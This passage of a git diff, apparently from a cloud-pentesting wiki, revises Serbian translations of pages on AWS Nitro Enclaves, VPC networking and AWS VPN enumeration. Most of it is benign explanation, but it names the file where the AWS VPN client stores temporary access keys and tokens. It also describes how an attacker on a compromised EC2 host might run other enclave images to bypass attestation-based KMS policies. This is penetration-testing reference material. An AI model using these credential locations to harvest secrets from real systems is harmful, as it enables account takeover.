Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu onih na fizičkom hardveru**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu. +AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu fizičkog hardvera**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu. Dobijte više informacija i kako da ga enumerišete iz: @@ -258,9 +258,9 @@ VPN omogućava povezivanje vaše **lokalne mreže (site-to-site VPN)** ili **lap - Koristi se za sigurnu, stabilnu i doslednu komunikaciju između vašeg data centra ili mreže i vašeg AWS okruženja. - Obično se koristi za redovne, dugoročne veze i naplaćuje se na osnovu količine podataka prenetih preko veze. 4. **Client VPN Endpoint**: -- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama. +- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijentskim VPN sesijama. - Koristi se za omogućavanje pojedinačnim uređajima (kao što su laptopi, pametni telefoni itd.) da sigurno povežu sa AWS resursima ili vašom lokalnom mrežom. -- Razlikuje se od Site-to-Site VPN-a po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža. +- Razlikuje se od Site-to-Site VPN po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža. - Sa Client VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze. Možete [**pronaći više informacija o prednostima i komponentama AWS VPN-a ovde**](aws-vpc-and-networking-basic-information.md#vpn). @@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections **Lokalne Privremene Akreditiv** -Kada se koristi AWS VPN klijent za povezivanje na VPN, korisnik obično **prijavljuje se u AWS** da bi dobio pristup VPN-u. Zatim, neki **AWS akreditivi se kreiraju i čuvaju** lokalno kako bi se uspostavila VPN veza. Ovi akreditivi su **čuvani u** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` i sadrže **AccessKey**, **SecretKey** i **Token**. +Kada se koristi AWS VPN klijent za povezivanje na VPN, korisnik obično **prijavljuje se u AWS** da bi dobio pristup VPN-u. Tada se neki **AWS akreditivi kreiraju i čuvaju** lokalno kako bi se uspostavila VPN veza. Ovi akreditivi su **čuvani u** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` i sadrže **AccessKey**, **SecretKey** i **Token**. Akreditivi pripadaju korisniku `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: istražiti više o dozvolama ovih akreditiva). **opvn konfiguracione datoteke** -Ako je **VPN veza uspostavljena**, trebali biste pretražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +Ako je **VPN veza uspostavljena**, trebali biste potražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** #### **Post Eksploatacija** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0ccc1b524..ea972b3ff 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,7 +4,7 @@ ## Osnovne informacije -AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalnih funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Prebacivanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pružaju **performanse blizu onih na fizičkom hardveru**, što je posebno korisno za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući svoju robusnu arhitekturu. +AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Prebacivanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pružaju **performanse blizu onih na fizičkom hardveru**, što je posebno korisno za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući svoju robusnu arhitekturu. ### Nitro Enklave @@ -15,7 +15,7 @@ AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AW ## Instalacija Nitro Enclave CLI -Pratite sve uputstva [**iz dokumentacije**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Međutim, ovo su najvažnija: +Pratite sve upute [**iz dokumentacije**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Međutim, ovo su najvažnije: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -56,7 +56,7 @@ Enclave Image successfully created. ``` ### Pokreni sliku -Prema [**dokumentaciji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), da biste pokrenuli sliku enklave, potrebno je da joj dodelite memoriju **od najmanje 4 puta veličine `eif` fajla**. Moguće je konfigurisati podrazumevane resurse koje joj dodelju u fajlu. +Prema [**dokumentaciji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), da biste pokrenuli sliku enklave, potrebno je da joj dodelite memoriju **od najmanje 4 puta veličine `eif` fajla**. Moguće je konfigurisati podrazumevane resurse koje će joj dodeliti u fajlu. ```shell /etc/nitro_enclaves/allocator.yaml ``` @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} Jedini način za komunikaciju sa **enklavom** koja pokreće sliku je korišćenje **vsocks**. -**Virtual Socket (vsock)** je porodica soketa u Linuxu posebno dizajnirana da olakša **komunikaciju** između virtuelnih mašina (**VMs**) i njihovih **hipervizora**, ili između VMs **same**. Vsock omogućava efikasnu, **dvosmernu komunikaciju** bez oslanjanja na mrežni stek hosta. Ovo omogućava VMs da komuniciraju čak i bez mrežnih konfiguracija, **koristeći 32-bitni Context ID (CID) i brojeve portova** za identifikaciju i upravljanje vezama. Vsock API podržava i stream i datagram tipove soketa, slično TCP i UDP, pružajući svestran alat za aplikacije na korisničkom nivou u virtuelnim okruženjima. +**Virtual Socket (vsock)** je porodica soketa u Linuxu posebno dizajnirana da olakša **komunikaciju** između virtuelnih mašina (**VMs**) i njihovih **hipervizora**, ili između VMs **sama**. Vsock omogućava efikasnu, **dvosmernu komunikaciju** bez oslanjanja na mrežni stek hosta. Ovo omogućava VMs da komuniciraju čak i bez mrežnih konfiguracija, **koristeći 32-bitni Context ID (CID) i brojeve portova** za identifikaciju i upravljanje vezama. Vsock API podržava i stream i datagram tipove soketa, slično TCP i UDP, pružajući svestran alat za aplikacije na korisničkom nivou u virtuelnim okruženjima. > [!TIP] > Stoga, vsock adresa izgleda ovako: `:` @@ -207,20 +207,20 @@ Ovo će proslediti **lokalni port 8001 u vsock** na `ip-ranges.amazonaws.com:443 allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -Moguće je videti vsock adrese (**`:`**) koje koristi EC2 host sa (napomena: `3:8001`, 3 je CID, a 8001 port): +Moguće je videti vsock adrese (**`:`**) koje koristi EC2 host sa (obratite pažnju na `3:8001`, 3 je CID, a 8001 port): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` ## Nitro Enclave Atestacija & KMS -Nitro Enclaves SDK omogućava enklavi da zatraži **kriptografski potpisan dokument o atestaciji** od Nitro **Hypervisora**, koji uključuje **jedinstvene merenja** specifične za tu enklavu. Ova merenja, koja uključuju **hash-ove i registre konfiguracije platforme (PCRs)**, koriste se tokom procesa atestacije da **dokažu identitet enklave** i **izgrade poverenje sa spoljnim uslugama**. Dokument o atestaciji obično sadrži vrednosti kao što su PCR0, PCR1 i PCR2, koje ste već sreli prilikom izrade i čuvanja EIF-a enklave. +Nitro Enclaves SDK omogućava enklavi da zatraži **kriptografski potpisan dokument o atestaciji** od Nitro **Hypervisora**, koji uključuje **jedinstvene merenja** specifične za tu enklavu. Ova merenja, koja uključuju **hash-ove i registre konfiguracije platforme (PCRs)**, koriste se tokom procesa atestacije da **dokažu identitet enklave** i **izgrade poverenje sa spoljnim servisima**. Dokument o atestaciji obično sadrži vrednosti kao što su PCR0, PCR1 i PCR2, koje ste već sreli prilikom izrade i čuvanja EIF-a enklave. -Prema [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), ovo su PCR vrednosti: +Sa [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), ovo su PCR vrednosti: -
PCRHash of ...Opis
PCR0Fajl slike enklaveKontinuirano merenje sadržaja fajla slike, bez podataka o sekciji.
PCR1Linux kernel i bootstrapKontinuirano merenje podataka kernela i boot ramfs.
PCR2AplikacijaKontinuirano, redosledno merenje korisničkih aplikacija, bez boot ramfs.
PCR3IAM uloga dodeljena roditeljskoj instanciKontinuirano merenje IAM uloge dodeljene roditeljskoj instanci. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima ispravnu IAM ulogu.
PCR4ID instance roditeljske instanceKontinuirano merenje ID-a roditeljske instance. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima specifičan ID instance.
PCR8Potpisni sertifikat fajla slike enklaveMerenje potpisnog sertifikata specificiranog za fajl slike enklave. Osigurava da proces atestacije uspeva samo kada je enklava pokrenuta iz fajla slike enklave potpisanog specifičnim sertifikatom.
+
PCRHash of ...Opis
PCR0Fajl slike enklaveKontinuirano merenje sadržaja fajla slike, bez podataka o sekciji.
PCR1Linux kernel i bootstrapKontinuirano merenje podataka kernela i boot ramfs.
PCR2AplikacijaKontinuirano, u redosledu merenje korisničkih aplikacija, bez boot ramfs.
PCR3IAM uloga dodeljena roditeljskoj instanciKontinuirano merenje IAM uloge dodeljene roditeljskoj instanci. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima ispravnu IAM ulogu.
PCR4ID instance roditeljske instanceKontinuirano merenje ID-a roditeljske instance. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima specifičan ID instance.
PCR8Potpisni sertifikat fajla slike enklaveMerenje potpisnog sertifikata specificiranog za fajl slike enklave. Osigurava da proces atestacije uspeva samo kada je enklava pokrenuta iz fajla slike enklave potpisanog specifičnim sertifikatom.
-Možete integrisati **kriptografsku atestaciju** u svoje aplikacije i iskoristiti unapred izgrađene integracije sa uslugama kao što je **AWS KMS**. AWS KMS može **validirati atestacije enklave** i nudi ključeve zasnovane na atestaciji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) u svojim politikama ključeva. Ove politike osiguravaju da AWS KMS dozvoljava operacije korišćenjem KMS ključa **samo ako je dokument o atestaciji enklave validan** i ispunjava **specificirane uslove**. +Možete integrisati **kriptografsku atestaciju** u vaše aplikacije i iskoristiti unapred izgrađene integracije sa servisima kao što je **AWS KMS**. AWS KMS može **validirati atestacije enklava** i nudi ključeve zasnovane na atestaciji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) u svojim politikama ključeva. Ove politike osiguravaju da AWS KMS dozvoljava operacije korišćenjem KMS ključa **samo ako je dokument o atestaciji enklave validan** i ispunjava **specificirane uslove**. > [!TIP] > Imajte na umu da Enklave u režimu debagovanja (--debug) generišu dokumente o atestaciji sa PCR-ima koji se sastoje od nula (`000000000000000000000000000000000000000000000000`). Stoga, KMS politike koje proveravaju ove vrednosti će propasti. @@ -229,7 +229,7 @@ Možete integrisati **kriptografsku atestaciju** u svoje aplikacije i iskoristit Iz perspektive napadača, primetite da neki PCR-i omogućavaju modifikaciju nekih delova ili cele slike enklave i da će i dalje biti validni (na primer, PCR4 samo proverava ID roditeljske instance, tako da pokretanje bilo koje slike enklave u toj EC2 će omogućiti ispunjavanje ovog potencijalnog PCR zahteva). -Stoga, napadač koji kompromituje EC2 instancu može biti u mogućnosti da pokrene druge slike enklave kako bi zaobišao ove zaštite. +Stoga, napadač koji kompromituje EC2 instancu može biti u mogućnosti da pokrene druge slike enklava kako bi zaobišao ove zaštite. Istraživanje o tome kako modifikovati/kreirati nove slike za zaobilaženje svake zaštite (posebno onih koje nisu tako očigledne) je još uvek TODO. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 7f0172f59..dbf1cb6d1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,54 +1,54 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking Osnovne Informacije {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS Mrežno Ukratko -**VPC** sadrži **network CIDR** kao 10.0.0.0/16 (sa svojim **routing table** i **network ACL**). +**VPC** sadrži **mrežni CIDR** kao što je 10.0.0.0/16 (sa svojom **routing tabelom** i **mrežnim ACL**). -Ova VPC mreža je podeljena na **subnetworks**, tako da je **subnetwork** direktno **related** sa **VPC**, **routing** **table** i **network ACL**. +Ova VPC mreža je podeljena na **podmreže**, tako da je **podmreža** direktno **povezana** sa **VPC**, **routing** **tabelom** i **mrežnim ACL**. -Zatim, **Network Interface**-i povezani sa uslugama (kao što su EC2 instance) su **connected** sa **subnetworks** uz **security group(s)**. +Zatim, **mrežne interfejse** povezane sa uslugama (kao što su EC2 instance) su **povezane** sa **podmrežama** uz **grupe sigurnosti**. -Stoga, **security group** će ograničiti izložene portove mrežnih **interfaces using it**, **independently of the subnetwork**. A **network ACL** će **limit** izložene portove na **whole network**. +Stoga, **grupa sigurnosti** će ograničiti izložene portove mrežnih **interfejsa koji je koriste**, **nezavisno od podmreže**. A **mrežni ACL** će **ograničiti** izložene portove na **celu mrežu**. -Pored toga, da bi se **access Internet**, postoje neka zanimljiva podešavanja koja treba proveriti: +Pored toga, da biste **pristupili Internetu**, postoje neka zanimljiva podešavanja koja treba proveriti: -- **subnetwork** može **auto-assign public IPv4 addresses** -- **instance** kreirana u mreži koja **auto-assign IPv4 addresses može dobiti jedan** -- **Internet gateway** treba da bude **attached** na **VPC** +- **Podmreža** može **automatski dodeliti javne IPv4 adrese** +- **Instanca** kreirana u mreži koja **automatski dodeljuje IPv4 adrese može dobiti jednu** +- **Internet gateway** treba da bude **priključen** na **VPC** - Takođe možete koristiti **Egress-only internet gateways** -- Takođe možete imati **NAT gateway** u **private subnet** tako da je moguće **connect to external services** iz te privatne podmreže, ali **nije moguće doći do njih sa spolja**. -- NAT gateway može biti **public** (pristup internetu) ili **private** (pristup drugim VPC-ima) +- Takođe možete imati **NAT gateway** u **privatnoj podmreži** tako da je moguće **povezati se sa spoljnim uslugama** iz te privatne podmreže, ali **nije moguće doći do njih sa spolja**. +- NAT gateway može biti **javan** (pristup internetu) ili **privatan** (pristup drugim VPC-ima) ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) omogućava vam da **launch AWS resources into a virtual network** koju ste definisali. Ova virtuelna mreža će imati nekoliko podmreža, Internet Gateway-e za pristup internetu, ACL-e, Security grupe, IP-e... +Amazon **Virtual Private Cloud** (Amazon VPC) vam omogućava da **pokrenete AWS resurse u virtuelnoj mreži** koju ste definisali. Ova virtuelna mreža će imati nekoliko podmreža, Internet Gateway-e za pristup Internetu, ACL-e, grupe sigurnosti, IP adrese... -### Subnets +### Podmreže -Subnets pomažu u sprovođenju većeg nivoa sigurnosti. **Logičko grupisanje sličnih resursa** takođe pomaže u održavanju **ease of management** kroz vašu infrastrukturu. +Podmreže pomažu u sprovođenju višeg nivoa sigurnosti. **Logičko grupisanje sličnih resursa** takođe pomaže u održavanju **lakoće upravljanja** kroz vašu infrastrukturu. -- Valid CIDR su od /16 netmask do /28 netmask. -- Subnet ne može biti u različitim dostupnim zonama u isto vreme. -- **AWS rezerviše prva tri host IP adrese** svake podmreže **za** **internal AWS usage**: prva host adresa se koristi za VPC ruter. Druga adresa je rezervisana za AWS DNS, a treća adresa je rezervisana za buduću upotrebu. -- Zovu se **public subnets** one koje imaju **direct access to the Internet, dok privatne podmreže nemaju.** +- Validni CIDR su od /16 netmask do /28 netmask. +- Podmreža ne može biti u različitim dostupnim zonama u isto vreme. +- **AWS rezerviše prva tri host IP adrese** svake podmreže **za** **internu AWS upotrebu**: prva host adresa se koristi za VPC ruter. Druga adresa je rezervisana za AWS DNS, a treća adresa je rezervisana za buduću upotrebu. +- **Javne podmreže** su one koje imaju **direktan pristup Internetu, dok privatne podmreže nemaju.**
-### Route Tables +### Tabele Rute -Route tables određuju usmeravanje saobraćaja za podmrežu unutar VPC-a. Određuju koji mrežni saobraćaj se prosleđuje internetu ili VPN konekciji. Obično ćete pronaći pristup do: +Tabele rute određuju usmeravanje saobraćaja za podmrežu unutar VPC-a. One određuju koji mrežni saobraćaj se prosleđuje internetu ili VPN konekciji. Obično ćete pronaći pristup do: - Lokalnog VPC-a - NAT -- Internet Gateway-a / Egress-only Internet gateway-a (potrebno za davanje VPC-u pristupa internetu). -- Da biste učinili podmrežu javnom, potrebno je da **create** i **attach** **Internet gateway** na vaš VPC. -- VPC endpoints (za pristup S3 iz privatnih mreža) +- Internet Gateway-a / Egress-only Internet gateway-a (neophodni za omogućavanje pristupa VPC-u internetu). +- Da biste napravili podmrežu javnom, potrebno je da **kreirate** i **priključite** **Internet gateway** na vaš VPC. +- VPC krajnje tačke (za pristup S3 iz privatnih mreža) Na sledećim slikama možete proveriti razlike između podrazumevane javne mreže i privatne: @@ -58,96 +58,96 @@ Na sledećim slikama možete proveriti razlike između podrazumevane javne mrež ### ACLs -**Network Access Control Lists (ACLs)**: Mrežne ACL-ove su pravila vatrozida koja kontrolišu dolazni i odlazni mrežni saobraćaj do podmreže. Mogu se koristiti za dozvoljavanje ili odbijanje saobraćaja za određene IP adrese ili opsege. +**Mrežne Kontrolne Liste (ACLs)**: Mrežni ACL-ovi su pravila vatrozida koja kontrolišu dolazni i odlazni mrežni saobraćaj ka podmreži. Mogu se koristiti za dozvoljavanje ili odbijanje saobraćaja ka specifičnim IP adresama ili opsezima. -- Najčešće se koristi dozvola/odbijanje pristupa koristeći sigurnosne grupe, ali ovo je jedini način da se potpuno prekine uspostavljene obrnute ljuske. Izmenjeno pravilo u sigurnosnim grupama ne zaustavlja već uspostavljene veze. -- Međutim, ovo se odnosi na celu podmrežu, budite oprezni kada zabranjujete stvari jer bi potrebna funkcionalnost mogla biti poremećena. +- Najčešće se koristi dozvoljavanje/odbijanje pristupa putem grupa sigurnosti, ali ovo je jedini način da se potpuno prekine uspostavljene obrnute ljuske. Izmenjeno pravilo u grupama sigurnosti ne zaustavlja već uspostavljene veze. +- Međutim, ovo se primenjuje na celu podmrežu, budite oprezni kada zabranjujete stvari jer potrebna funkcionalnost može biti ometena. -### Security Groups +### Grupe Sigurnosti -Sigurnosne grupe su virtuelni **firewall** koji kontroliše dolazni i odlazni mrežni **traffic to instances** u VPC-u. Odnos 1 SG na M instance (obično 1 na 1).\ +Grupe sigurnosti su virtuelni **vatrozid** koji kontroliše dolazni i odlazni mrežni **saobraćaj ka instancama** u VPC-u. Odnos 1 SG na M instanci (obično 1 na 1).\ Obično se koristi za otvaranje opasnih portova u instancama, kao što je port 22 na primer:
-### Elastic IP Addresses +### Elastične IP Adrese -_Elastic IP adresa_ je **static IPv4 address** dizajnirana za dinamičko cloud računarstvo. Elastic IP adresa se dodeljuje vašem AWS nalogu i vaša je dok je ne oslobodite. Korišćenjem Elastic IP adrese, možete maskirati kvar instance ili softvera brzo preusmeravajući adresu na drugu instancu u vašem nalogu. +_Elastična IP adresa_ je **staticka IPv4 adresa** dizajnirana za dinamičko cloud računarstvo. Elastična IP adresa se dodeljuje vašem AWS nalogu i vaša je dok je ne oslobodite. Korišćenjem elastične IP adrese, možete maskirati kvar instance ili softvera brzo preusmeravajući adresu na drugu instancu u vašem nalogu. -### Connection between subnets +### Povezivanje između podmreža -Podrazumevano, sve podmreže imaju **automatski dodeljenu javnu IP adresu isključenu**, ali se može uključiti. +Podrazumevano, sve podmreže imaju **automatsko dodeljivanje javnih IP adresa isključeno**, ali to može biti uključeno. -**Lokalna ruta unutar tabele ruta omogućava komunikaciju između VPC podmreža.** +**Lokalna ruta unutar tabele rute omogućava komunikaciju između VPC podmreža.** Ako **povezujete podmrežu sa drugom podmrežom, ne možete pristupiti podmrežama povezanim** sa drugom podmrežom, morate direktno uspostaviti vezu sa njima. **Ovo se takođe odnosi na internet gateway-e**. Ne možete proći kroz vezu podmreže da biste pristupili internetu, morate dodeliti internet gateway svojoj podmreži. ### VPC Peering -VPC peering vam omogućava da **connect two or more VPCs together**, koristeći IPV4 ili IPV6, kao da su deo iste mreže. +VPC peering vam omogućava da **povežete dva ili više VPC-a zajedno**, koristeći IPV4 ili IPV6, kao da su deo iste mreže. -Jednom kada je uspostavljena veza, **resources in one VPC can access resources in the other**. Povezanost između VPC-ova se implementira kroz postojeću AWS mrežnu infrastrukturu, tako da je visoko dostupna bez uskog grla u propusnosti. Kako **peered connections operate as if they were part of the same network**, postoje ograničenja kada su u pitanju vaši CIDR opsezi koji se mogu koristiti.\ -Ako imate **overlapping or duplicate CIDR** opsege za vaš VPC, onda **nećete moći da povežete VPC-ove** zajedno.\ -Svaki AWS VPC će **samo komunicirati sa svojim peer-om**. Na primer, ako imate vezu između VPC 1 i VPC 2, i drugu vezu između VPC 2 i VPC 3, kao što je prikazano, tada bi VPC 1 i 2 mogli direktno komunicirati jedni s drugima, kao i VPC 2 i VPC 3, međutim, VPC 1 i VPC 3 ne bi mogli. **Ne možete usmeriti kroz jedan VPC da biste došli do drugog.** +Jednom kada je uspostavljena veza, **resursi u jednom VPC-u mogu pristupiti resursima u drugom**. Povezanost između VPC-ova se implementira kroz postojeću AWS mrežnu infrastrukturu, i tako je visoko dostupna bez uskog grla u propusnosti. Kako **povezane veze funkcionišu kao da su deo iste mreže**, postoje ograničenja kada su u pitanju vaši CIDR opsezi koji se mogu koristiti.\ +Ako imate **preklapajuće ili duplirane CIDR** opsege za vaš VPC, onda **nećete moći da povežete VPC-ove** zajedno.\ +Svaki AWS VPC će **komunicirati samo sa svojim partnerom**. Na primer, ako imate vezu između VPC 1 i VPC 2, i drugu vezu između VPC 2 i VPC 3, kao što je prikazano, tada VPC 1 i 2 mogu direktno komunicirati jedni s drugima, kao i VPC 2 i VPC 3, međutim, VPC 1 i VPC 3 ne mogu. **Ne možete usmeravati kroz jedan VPC da biste došli do drugog.** -### **VPC Flow Logs** +### **VPC Tokovi Logova** -Unutar vašeg VPC-a, mogli biste imati stotine ili čak hiljade resursa koji komuniciraju između različitih podmreža, kako javnih tako i privatnih, kao i između različitih VPC-ova putem VPC peering veza. **VPC Flow Logs vam omogućavaju da zabeležite IP saobraćajne informacije koje teku između vaših mrežnih interfejsa vaših resursa unutar vašeg VPC-a**. +Unutar vašeg VPC-a, potencijalno možete imati stotine ili čak hiljade resursa koji komuniciraju između različitih podmreža, kako javnih tako i privatnih, kao i između različitih VPC-ova putem VPC peering veza. **VPC Tokovi Logova vam omogućavaju da zabeležite informacije o IP saobraćaju koji teče između mrežnih interfejsa vaših resursa unutar vašeg VPC-a**. -Za razliku od S3 pristupnih logova i CloudFront pristupnih logova, **podaci logova generisani od strane VPC Flow Logs se ne čuvaju u S3. Umesto toga, podaci logova se šalju u CloudWatch logove**. +Za razliku od S3 logova pristupa i CloudFront logova pristupa, **podaci logova generisani od strane VPC Tokova Logova se ne čuvaju u S3. Umesto toga, podaci logova se šalju u CloudWatch logove**. Ograničenja: -- Ako pokrećete VPC peered vezu, tada ćete moći da vidite samo flow logove peered VPC-ova koji su unutar istog naloga. +- Ako pokrećete VPC peering vezu, tada ćete moći da vidite tokove logova samo za povezane VPC-ove koji su unutar istog naloga. - Ako još uvek pokrećete resurse unutar EC2-Classic okruženja, nažalost nećete moći da dobijete informacije sa njihovih interfejsa. -- Kada je VPC Flow Log kreiran, ne može se izmeniti. Da biste izmenili konfiguraciju VPC Flow Log-a, morate ga obrisati i zatim kreirati novi. -- Sledeći saobraćaj se ne prati i ne beleži u logovima. DHCP saobraćaj unutar VPC-a, saobraćaj iz instanci namenjen Amazon DNS Serveru. -- Bilo koji saobraćaj namenjen IP adresi za VPC podrazumevnog rutera i saobraćaj do i od sledećih adresa, 169.254.169.254 koja se koristi za prikupljanje metapodataka instance, i 169.254.169.123 koja se koristi za Amazon Time Sync Service. -- Saobraćaj koji se odnosi na licencu za aktivaciju Amazon Windows iz Windows instance. +- Kada je VPC Tok Logova kreiran, ne može se izmeniti. Da biste izmenili konfiguraciju VPC Tok Logova, morate ga obrisati i zatim kreirati novi. +- Sledeći saobraćaj se ne prati i ne beleži u logovima. DHCP saobraćaj unutar VPC-a, saobraćaj sa instanci namenjen Amazon DNS serveru. +- Bilo koji saobraćaj namenjen IP adresi za podrazumevani ruter VPC-a i saobraćaj do i od sledećih adresa, 169.254.169.254 koja se koristi za prikupljanje metapodataka instance, i 169.254.169.123 koja se koristi za Amazon Time Sync Service. +- Saobraćaj koji se odnosi na licencu za aktivaciju Windows-a iz Windows instance. - Saobraćaj između interfejsa mrežnog balansiranja opterećenja i interfejsa krajnje tačke mreže. -Za svaki mrežni interfejs koji objavljuje podatke u CloudWatch log grupu, koristiće se različiti log stream. I unutar svakog od ovih stream-ova, biće podaci o događajima flow log-a koji prikazuju sadržaj log unosa. Svaki od ovih **logova beleži podatke tokom prozora od otprilike 10 do 15 minuta**. +Za svaki mrežni interfejs koji objavljuje podatke u CloudWatch grupu logova, koristiće se različit tok logova. I unutar svakog od ovih tokova, biće podaci o događajima logova koji prikazuju sadržaj log unosa. Svaki od ovih **logova beleži podatke tokom prozora od otprilike 10 do 15 minuta**. ## VPN -### Basic AWS VPN Components +### Osnovne Komponente AWS VPN-a -1. **Customer Gateway**: -- Customer Gateway je resurs koji kreirate u AWS-u da biste predstavili vašu stranu VPN veze. +1. **Kupčev Gateway**: +- Kupčev Gateway je resurs koji kreirate u AWS-u da biste predstavili vašu stranu VPN veze. - To je u suštini fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze. -- Pružate informacije o usmeravanju i javnu IP adresu vašeg mrežnog uređaja (kao što je ruter ili vatrozid) AWS-u da biste kreirali Customer Gateway. -- Služi kao referentna tačka za postavljanje VPN veze i ne donosi dodatne troškove. -2. **Virtual Private Gateway**: -- Virtual Private Gateway (VPG) je VPN koncentrator na Amazon strani Site-to-Site VPN veze. -- Povezan je sa vašim VPC-om i služi kao cilj za vašu VPN vezu. +- Pružate informacije o usmeravanju i javnu IP adresu vašeg mrežnog uređaja (kao što je ruter ili vatrozid) AWS-u da biste kreirali Kupčev Gateway. +- Služi kao referentna tačka za postavljanje VPN veze i ne izaziva dodatne troškove. +2. **Virtuelni Privatni Gateway**: +- Virtuelni Privatni Gateway (VPG) je VPN koncentrator na Amazon strani Site-to-Site VPN veze. +- Priključen je na vaš VPC i služi kao cilj za vašu VPN vezu. - VPG je AWS strana krajnje tačke za VPN vezu. - 